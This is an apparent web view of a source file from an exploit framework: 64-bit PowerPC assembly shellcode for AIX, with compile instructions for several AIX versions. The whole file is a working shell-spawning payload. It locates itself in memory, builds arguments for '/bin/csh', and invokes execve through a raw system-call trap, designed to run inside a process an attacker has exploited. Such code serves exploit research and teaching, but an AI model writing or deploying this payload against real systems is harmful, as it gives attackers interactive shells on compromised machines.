Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/unixasm/aix-power-shellcode64.S
Views: 11766
/*1* $Id: aix-power-shellcode64.S 40 2008-11-17 02:45:30Z ramon $2*3* aix-power-shellcode64.S - AIX Power shellcode4* Copyright 2008 Ramon de Carvalho Valle <[email protected]>5*6* This library is free software; you can redistribute it and/or7* modify it under the terms of the GNU Lesser General Public8* License as published by the Free Software Foundation; either9* version 2.1 of the License, or (at your option) any later version.10*11* This library is distributed in the hope that it will be useful,12* but WITHOUT ANY WARRANTY; without even the implied warranty of13* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU14* Lesser General Public License for more details.15*16* You should have received a copy of the GNU Lesser General Public17* License along with this library; if not, write to the Free Software18* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA19*20*/2122/*23* Compile with the following command.24* $ gcc -Wall -DAIXLEVEL -m64 -o aix-power-shellcode64 aix-power-shellcode64.S25*26* Where AIXLEVEL is one of the currently supported AIX levels.27* -DV410 AIX 4.1.028* -DV420 AIX 4.2.029* -DV430 AIX 4.3.030* -DV433 AIX 4.3.331* -DV530 AIX 5.3.032*33*/3435#include "aix-power.h"3637.globl .main38.csect .text[PR]3940.main:4142shellcode64:43lil %r31,__CAL44xor. %r5,%r5,%r545bnel shellcode6446mflr %r3047cal %r30,511(%r30)48cal %r3,-511+40(%r30)49stb %r5,-511+48(%r30)50stdu %r5,-8(%r1)51stdu %r3,-8(%r1)52mr %r4,%r153cal %r2,__NC_execve(%r31)54crorc %cr6,%cr6,%cr655.long 0x44ffff0256.asciz "/bin/csh"57585960